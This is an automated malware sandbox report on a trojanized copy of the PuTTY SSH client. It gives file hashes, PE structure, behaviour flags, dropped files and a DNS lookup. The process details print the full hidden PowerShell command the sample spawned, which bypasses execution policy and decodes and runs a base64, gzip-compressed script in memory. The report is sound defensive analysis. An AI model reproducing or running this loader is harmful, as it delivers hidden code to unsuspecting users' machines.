File name:

putty.exe

Full analysis: https://app.any.run/tasks/f5a09adb-5ad1-426e-b71f-08dc7ed91416
Verdict: Malicious activity
Analysis date: September 05, 2023, 06:55:55
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

334A10500FEB0F3444BF2E86AB2E76DA

SHA1:

C6A97B63FBD970984B95AE79A2B2AEF5749EE463

SHA256:

0C82E654C09C8FD9FDF4899718EFA37670974C9EEC5A8FC18A167F93CEA6EE83

SSDEEP:

24576:913gJnNiQQSA7Ph8NKvKUWq8U5EDvLJPjraFLR5ROWgNcEDvLJPjraFLR5ROx:9WjrHKvKUYPjrkp7gRjrkpO

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 2436)

    • Changes powershell execution policy (Bypass)

      • putty.exe (PID: 124)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 2436)

  • SUSPICIOUS

    • The process hide an interactive prompt from the user

      • putty.exe (PID: 124)

    • The process bypasses the loading of PowerShell profile settings

      • putty.exe (PID: 124)

    • Starts POWERSHELL.EXE for commands execution

      • putty.exe (PID: 124)

    • Powershell version downgrade attack

      • powershell.exe (PID: 2436)

  • INFO

    • Checks supported languages

      • putty.exe (PID: 124)

    • Reads the computer name

      • putty.exe (PID: 124)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Generic Win/DOS Executable (50)
.exe | DOS Executable Generic (49.9)

EXIF

EXE

LegalCopyright: Copyright © 1997-2021 Simon Tatham.
ProductVersion: Release 0.76
FileVersion: Release 0.76 (with embedded help)
OriginalFileName: PuTTY
InternalName: PuTTY
FileDescription: SSH, Telnet, Rlogin, and SUPDUP client
ProductName: PuTTY suite
CompanyName: Simon Tatham
CharacterSet: Unicode
LanguageCode: English (British)
FileSubtype: -
ObjectFileType: Executable application
FileOS: Win32
FileFlags: (none)
FileFlagsMask: 0x000b
ProductVersionNumber: 0.76.0.0
FileVersionNumber: 0.76.0.0
Subsystem: Windows GUI
SubsystemVersion: 4
ImageVersion: -
OSVersion: 4
EntryPoint: 0x122000
UninitializedDataSize: -
InitializedDataSize: 954368
CodeSize: 618496
LinkerVersion: 1
PEType: PE32
ImageFileCharacteristics: Executable, 32-bit
TimeStamp: 2021:07:10 09:51:55+00:00
MachineType: Intel 386 or later, and compatibles

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 10-Jul-2021 09:51:55
Detected languages:
  • English - United States

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0078
Pages in file: 0x0001
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0x0000
Initial SS value: 0x0000
Initial SP value: 0x0000
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x00000078

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 10
Time date stamp: 10-Jul-2021 09:51:55
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_EXECUTABLE_IMAGE

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
.text
0x00122000
0x00000737
0x00000800
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
6.23394
.rdata
0x00097000
0x000295FC
0x00029600
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
5.79671
.data
0x000C1000
0x00003FCC
0x00000C00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
2.01881
.00cfg
0x000C5000
0x00000004
0x00000200
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
0.0611629
.rsrc
0x00125000
0x000536E9
0x00053800
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
7.82961
.reloc
0x00179000
0x00007A04
0x00007C00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
6.68837
.idata
0x00123000
0x00001CAA
0x00001E00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
5.458

Resources

Title
Entropy
Size
Codepage
Language
Type
1
4.83039
1369
UNKNOWN
English - United States
RT_MANIFEST
2
2.98271
744
UNKNOWN
English - United States
RT_ICON
3
2.67905
1640
UNKNOWN
English - United States
RT_ICON
4
2.38964
176
UNKNOWN
English - United States
RT_ICON
5
3.48609
304
UNKNOWN
English - United States
RT_ICON
6
2.62978
816
UNKNOWN
English - United States
RT_ICON
7
3.16607
296
UNKNOWN
English - United States
RT_ICON
8
3.57192
744
UNKNOWN
English - United States
RT_ICON
9
3.24629
1640
UNKNOWN
English - United States
RT_ICON
10
2.59447
176
UNKNOWN
English - United States
RT_ICON

Imports

ADVAPI32.dll
COMDLG32.dll
GDI32.dll
IMM32.dll
KERNEL32.dll
SHELL32.dll
USER32.dll
ole32.dll
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
36
Monitored processes
2
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start putty.exe no specs powershell.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
124"C:\Users\admin\AppData\Local\Temp\putty.exe" C:\Users\admin\AppData\Local\Temp\putty.exe—explorer.exe
User:
admin
Company:
Simon Tatham
Integrity Level:
MEDIUM
Description:
SSH, Telnet, Rlogin, and SUPDUP client
Exit code:
0
Version:
Release 0.76 (with embedded help)
Modules
Images
c:\users\admin\appdata\local\temp\putty.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\user32.dll
c:\windows\system32\msvcrt.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.24483_none_2b200f664577e14b\comctl32.dll
2436powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIAOW/UWECA51W227jNhB991cMXHUtIRbhdbdAESCLepVsGyDdNVZu82AYCE2NYzUyqZKUL0j87yUlypLjBNtUL7aGczlz5kL9AGOxQbkoOIRwK1OtkcN8B5/Mz6SQHCW8g0u6RvidymTX6RhNplPB4TfU4S3OWZYi19B57IB5vA2DC/iCm/Dr/G9kGsLJLscvdIVGqInRj0r9Wpn8qfASF7TIdCQxMScpzZRx4WlZ4EFrLMV2R55pGHlLUut29g3EvE6t8wjl+ZhKuvKr/9NYy5Tfz7xIrFaUJ/1jaawyJvgz4aXY8EzQpJQGzqcUDJUCR8BKJEWGFuCvfgCVSroAvw4DIf4D3XnKk25QHlZ2pW2WKkO/ofzChNyZ/ytiWYsFe0CtyITlN05j9suHDz+dGhKlqdQ2rotcnroSXbT0Roxhro3Dqhx+BWX/GlyJa5QKTxEfXLdK/hLyaOwCdeeCF2pImJC5kFRj+U7zPEsZtUUjmWA06/Ztgg5Vp2JWaYl0ZdOoohLTgXEpM/Ab4FXhKty2ibquTi3USmVx7ewV4MgKMww7Eteqvovf9xam27DvP3oT430PIVUwPbL5hiuhMUKp04XNCv+iWZqU2UU0y+aUPcyC4AU4ZFTope1nazRSb6QsaJW84arJtU3mdL7TOJ3NPPtrm3VAyHBgnqcfHwd7xzfypD72pxq3miBnIrGTcH4+iqPr68DW4JPV8bu3pqXFRlX7JF5iloEsODfaYBgqlGnrLpyBh3x9bt+4XQpnRmaKdThgYpUXujm845HIdzK9X2rwowCGg/c/wx8pk0KJhYbIUWJJgJGNaDUVSDQB1piQO37HXdc6Tohdcug32fUH/eaF3CC/18t2P9Uz3+6ok4Z6G1XTsxncGJeWG7cvyAHn27HWVp+FvKJsaTBXTiHlh33UaDWw7eMfrfGA1NlWG6/2FDxd87V4wPBqmxtuleH74GV/PKRvYqI3jqFn6lyiuBFVOwdkTPXSSHsfe/+7dJtlmqHve2k5A5X5N6SJX3V8HwZ98I7sAgg5wuCktlcWPiYTk8prV5tbHFaFlCleuZQbL2b8qYXS8ub2V0lznQ54afCsrcy2sFyeFADCekVXzocf372HJ/ha6LDyCo6KI1dDKAmpHRuSv1MC6DVOthaIh1IKOR3MjoK1UJfnhGVIpR+8hOCi/WIGf9s5naT/1D6Nm++OTrtVTgantvmcFWp5uLXdGnSXTZQJhS6f5h6Ntcjry9N8eXQOXxyH4rirE0J3L9kF8i/mtl93dQkAAA=='))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—putty.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
Total events
1 489
Read events
1 435
Write events
54
Delete events
0

Modification events

(PID) Process:(2436) powershell.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\178\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
Executable files
0
Suspicious files
3
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
2436powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9QNFIWPN4WO7TB8H5JUD.tempbinary
MD5:219900F4E3A0B4B3E1BDF364167D697E
SHA256:F953A7C5F1662C04D86C12EBA0D22A135CC0AE11BAEEE80CC5EFD325582B5F36
2436powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFf8302.TMPbinary
MD5:219900F4E3A0B4B3E1BDF364167D697E
SHA256:F953A7C5F1662C04D86C12EBA0D22A135CC0AE11BAEEE80CC5EFD325582B5F36
2436powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:219900F4E3A0B4B3E1BDF364167D697E
SHA256:F953A7C5F1662C04D86C12EBA0D22A135CC0AE11BAEEE80CC5EFD325582B5F36
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
2
DNS requests
1
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted

DNS requests

Domain
IP
Reputation
bonus2.corporatebonusapplication.local
  • —
unknown

Threats

No threats detected
No debug info
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Reports
putty.exe